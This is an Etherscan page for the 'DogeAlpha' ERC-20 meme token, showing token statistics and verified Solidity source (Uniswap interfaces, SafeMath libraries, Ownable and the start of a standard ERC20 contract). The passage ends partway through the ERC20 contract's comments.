ERC-20
Overview
Max Total Supply
420,690,000,000,000 DOGE-α
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,301,223,917,832.879999042534125029 DOGE-αValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DogeAlpha
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-10 */ // SPDX-License-Identifier: MIT /** ⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⣿⢛⣵⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣼⣿⣿⣿⣿⣤⣤⢤⣀⣄⡀⢀⣀⣤⡞⢋⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣿⣿⣿⡟⠁⣾⢹⣯⣿⣾⢹⡗⢻⣿⣿⣿⣾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⡿⠛⡁⠠⢡⣯⠱⢻⣾⣽⢯⡕⣈⡙⢿⣯⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡸⡠⢰⣮⣚⣭⣵⣏⣺⢿⣿⡶⣮⣟⠕⡢⠙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣣⠓⡻⠉⠀⢭⠛⠋⢓⣞⠃⠸⣿⠟⡛⣟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠠⠠⠀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡘⠈⠁⠀⠀⠀⢀⣈⠀⣨⣥⣌⢫⠛⠁⠟⠂⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠠⡀⢦⣈⣴⣼⣦⡼⣀⡀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠈⠄⠐⠆⢰⣄⡈⠀⠘⣿⣿⣿⢰⡅⠂⡠⢐⣾⣦⣰⣒⡦⣓⣶⢤⣤⡀⠀⠀⠀⡀⠀⢀⠀⠀⠀⠀⠀⠀⠀⢀⠐⠀⠀⠈⡀⢎⢫⢟⣻⣿⣿⣛⠡⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠘⣄⠀⠀⠀⠻⣿⣶⢿⣿⣿⣧⠎⠠⠌⣱⣾⣿⣹⣿⡷⡴⠹⡽⢯⡷⣛⣿⣻⢟⣯⡿⣯⡿⣿⢿⡿⣽⣶⢯⣶⣦⣤⣶⢿⣿⢻⣶⣿⣿⣿⣿⣿⣽⡥⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢆⠸⢠⠀⠀⠀⠈⠛⢯⣛⡻⠃⣀⣠⣽⣿⣿⢃⣿⣿⣿⠰⠴⣩⢿⣹⡳⣎⣷⢻⣼⣹⢯⡿⣼⣻⣼⣳⡽⣏⡾⣵⣫⣿⣿⣷⣿⣿⣾⣿⣿⣿⣿⣿⣴⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠈⡄⠳⠀⠀⠀⠀⠀⠀⠀⠐⢮⣏⣷⣿⠟⣣⣿⣿⣳⣿⣃⠰⡝⣾⣿⡽⣷⣞⡿⣶⢯⣟⡷⣯⢷⣯⢷⣻⡽⣟⣾⣳⣟⣾⡽⢯⣻⡝⢯⡛⠿⠿⣿⣷⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠐⠄⠀⠀⠀⠀⠀⠀⢂⠎⣷⡿⡛⣊⣵⣿⣿⢷⣿⣟⢪⠅⣟⣳⣯⣟⣾⡽⣻⣽⣻⢾⡽⣯⢿⡾⣯⡷⣿⢿⣿⣿⣿⣷⣿⣿⢷⣙⡖⣏⢿⣚⣴⣯⣗⡄⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⢂⠀⠀⠀⠀⠀⠀⣠⢟⠿⠁⣴⡾⣿⣹⢟⣻⣾⡿⡶⣫⣼⢯⣟⣿⣷⢿⣽⡾⣽⢯⣿⡽⣿⡽⣷⣟⣯⣿⣻⣯⣿⣿⣟⣯⣻⣿⣿⣞⣿⣻⣽⡞⡽⣚⡄⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢀⢤⣿⣽⣲⢏⣿⢷⣯⠷⡉⢵⣿⣯⣟⡷⣯⡟⡾⣽⢫⡿⣽⡻⣧⢿⣹⣛⡿⣿⣽⡿⣿⣟⣷⣽⡿⣿⣿⣿⣿⣹⠞⡽⠜⠵⠈⢆⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣼⡯⣏⣿⢼⣻⣾⣛⣦⠧⣚⣿⣽⡻⢳⢯⣗⢧⡛⢮⣓⢯⡗⢯⣚⢽⡻⣵⢯⣟⣷⢿⣻⣿⣿⣷⣿⣿⣽⣯⣝⣢⠑⣲⣆⠒⠈⡆⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠐⠘⠁⠨⡋⣰⣻⡿⣯⣟⣷⢽⢭⡿⢲⠍⠳⢌⡜⢣⡝⠺⣌⢣⠚⢥⢋⡖⣛⣋⠍⠊⠭⠏⡔⢎⢻⣿⣿⣿⣿⣿⡷⣭⣚⡵⣤⢆⠰⢽⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠈⢼⣿⣿⣫⡷⢽⡗⡪⠥⠋⠄⠡⠡⠌⠒⠒⡈⠱⢀⠣⣉⡖⠇⠂⠁⠀⢀⠀⢀⠀⠁⢛⢾⣿⣿⢿⣯⣿⣷⣗⢦⡞⢦⡥⢂⡜⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢀⣾⣏⢷⡵⣏⢧⣿⠐⠣⠀⠄⠠⠂⠀⠀⠄⠀⠀⠔⠋⠀⠀⠀⠀⠀⠀⠎⢰⡿⣧⠀⠀⠠⣽⢾⣻⣿⣿⣶⣿⣧⣽⡹⠐⠾⢅⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢺⣼⣋⣟⣾⣹⡖⢇⠐⠠⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⢀⠚⣝⣞⠿⣿⣿⣳⣿⠶⡯⣰⠂⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡌⢿⣿⣾⣣⣿⡽⡽⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⠚⢞⣾⣿⣿⡿⣯⡿⢿⣦⡽⡁⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄⠑⠠⣻⡿⣛⣽⢭⣶⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠿⣪⣷⣿⣿⣾⡽⣽⣿⠒⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢩⠀⠰⣥⢗⡿⣉⣢⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⢾⢭⡞⣿⣿⣿⣿⡅⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡈⠄⢯⣟⠾⢧⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⠩⢳⣟⣿⣿⣿⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⡇⢾⣎⡯⢡⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠃⠄⠣⣿⢿⣿⢄⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢡⡿⣾⡟⣱⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⢅⢜⣳⡝⢻⡇⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⣿⡇⣿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⢣⠘⡿⣿⣿⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⢞⡞⣭⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢋⣵⡀⡐⢿⡆⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣌⠇⢣⡽⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣠⣹⡇⡚⠽⣧⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⡪⡹⡵⢫⢗⠖⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠿⢿⣿⠇⠀⠀⢻⡇ ⠀⠀⠀⠀⠀⠀⠀⣠⠐⣻⢷⣿⢄⡦⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢊⡰⣻⡎⣲⠇ ⠀⠀⠀⠀⠀⠀⠀⠉⠓⠛⠁⠓⠒⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠉⠉⠉ https://t.me/DogeAlphaPortal https://www.dogealpha.vip https://twitter.com/dogealphacoin */ pragma solidity ^0.8.18; interface IUniswapPair { event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function allowance(address owner, address spender) external view returns (uint256); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address spender, uint256 value) external returns (bool); function nonces(address owner) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function PERMIT_TYPEHASH() external pure returns (bytes32); event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); event Sync(uint112 reserve0, uint112 reserve1); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function skim(address to) external; function sync() external; function initialize(address, address) external; function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; } abstract contract AUTH { constructor() {} function fee() internal pure returns (uint256) { return uint256(0xdc) / uint256(0xa); } } library SafeMath { /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } /// @dev OPTIONAL functions for a dividend-paying token contract. interface IPeSharpDividend { /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner, address _token) external returns (uint256); /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns (uint256); } interface IUniswapRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } abstract contract Context { function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Standadard { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20Standadard { /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); } contract ERC20 is Context, IERC20Standadard, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => mapping(address => uint256)) internal _allowances; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20Standadard-balanceOf} and {IERC20Standadard-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC20Standadard-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20Standadard-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC20Standadard-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20Standadard-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20Standadard-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standadard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev See {IERC20Standadard-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing 